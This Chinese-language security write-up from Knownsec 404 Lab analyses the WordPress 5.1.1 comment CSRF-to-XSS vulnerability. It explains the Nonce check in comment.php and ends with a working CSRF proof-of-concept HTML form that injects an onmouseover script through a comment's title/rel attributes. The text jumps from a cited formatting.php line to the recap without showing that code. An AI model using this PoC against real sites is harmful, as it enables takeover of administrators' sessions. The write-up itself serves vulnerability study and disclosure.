作者:LoRexxar’@知道創宇404實驗室
時間:2019年3月14日
英文版本:https://paper.seebug.org/936/
2019年3月13日, RIPS團隊公開了一篇關於WordPress 5.1.1的XSS漏洞詳情,標題起的很響亮,叫做wordpress csrf to rce,
https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
下面我們就來詳細聊聊這個漏洞。
關於WordPress防護
早在2017年10月25號,我曾經寫過一篇關於WordPress安全機制的文章。
https://lorexxar.cn/2017/10/25/wordpress/
在其中,我着重描述了WordPress整體安全機制中的最核心機制,Nonce安全機制。
出於防禦CSRF攻擊的目的,WordPress引入了Nonce安全機制,Nonce是通過用戶id、token、操作屬性來計算的。簡單來說就是,Nonce值受限於用戶以及操作屬性兩點,不同用戶同一個操作Nonce值不同,同一個用戶不同操作Nonce值不同,同一個用戶同一個操作不同站Nonce不同。
雖然是出於防禦CSRF攻擊的目的誕生,但卻在WordPress薄弱的後台安全防禦下,打上了最強的一節防禦外殼。
在WordPress Core開發團隊的認知中,任何一個WordPress的超級管理員,都應該保管好自己的網站以及賬號安全,超級管理員也應該能對自己的網站以及服務器負責。
在這樣的觀點設計下,WordPress的超級管理員可以直接修改後台插件模板來getshell,超級管理員的評論不會有任何過濾。
所以在WordPress的防禦體系下,如何繞過Nonce、如何獲取超級管理員權限、如果在非超級管理員權限下做任何可以威脅網站安全操作,就是WordPress安全漏洞的主要方向。
關於 CSRF to RCE 漏洞
在我們熟悉了WordPress的安全機制之後,我們再回到這個漏洞來。
作者提到,在WordPress的評論處有一個比較神奇的機制。剛才提到,對於WP的超級管理員來說,文章的評論不會有任何過濾,但仍舊有Nonce值_wp_unfiltered_html_comment
,而WordPress其中有一些特殊的功能例如trackbacks and pingbacks會受到該值的影響,所以在評論處,Nonce不會直接阻止請求,而是另外生成了一套邏輯來做處理
/wp-includes/comment.php line 3245
if ( current_user_can( 'unfiltered_html' ) ) {
if ( wp_create_nonce( 'unfiltered-html-comment' )!=$_POST['_wp_unfiltered_html_comment'] ) {
kses_remove_filters(); // start with a clean slate
kses_init_filters(); // set up the filters
}
}
繼續跟下去,我們簡單的把邏輯寫成偽代碼
if 有權限:
if nonce正確:
wp_filter_post_kses()
else:
wp_filter_kses()
而其中的區別就是,wp_filter_post_kses
不會做任何過濾,會保留請求的完整評論,而wp_filter_kses
將只允許白名單的標籤存在,就比如a
標籤等。
而問題的核心就在於,如何在wp_filter_kses
的白名單中找到一個可以導致xss的輸入點。這個點就在a
標籤的rel
屬性處理中。
在/wp-includes/formatting.php line 3025
我們仔細回顧一下整個漏洞,攻擊者需要誘騙超級管理員點擊他的惡意鏈接,然後需要手動把鼠標放置到評論上,甚至還需要保留該頁面一段時間,整個攻擊才有可能成功。
不難發現,如果我們把漏洞放在WordPress Core樹立的安全標準下來說,該漏洞實際能算作是漏洞的部分只有一個,就是繞過Nonce機制實現的一個WordPress XSS漏洞。當我們拋開這個關鍵點之後,我們不難發現,這個漏洞看上次利用條件還不錯,但實際上,在WordPress的安全機制中,插件安全一直是最嚴重的問題,一旦WordPress的高量級插件爆了一個後台的反射性XSS漏洞,利用難度反而甚至比這個漏洞更低,不是嗎?
漏洞要求
- WordPress commit < 2504efcf9439c1961c4108057e8f3f48239a244b(5.2-alpha-44833)
- 超級管理員點擊惡意鏈接。
漏洞復現
搭建完成後使用admin賬號登陸
然後構造惡意頁面
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1/wordpress/wp-comments-post.php" method="POST">
<input type="hidden" name="comment" value="<a title='aa " onmouseover=alert() id=" ' rel='111'>please click me" />
<input type="hidden" name="submit" value="%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA />
<input type="hidden" name="comment_post_ID" value="1" />
<input type="hidden" name="comment_parent" value="0" />
<input type="hidden" name="_wp_unfiltered_html_comment" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
使用登陸過超級管理員的瀏覽器點開該頁面,然後就會提交評論,當鼠標移動到評論上是,則會執行相應的js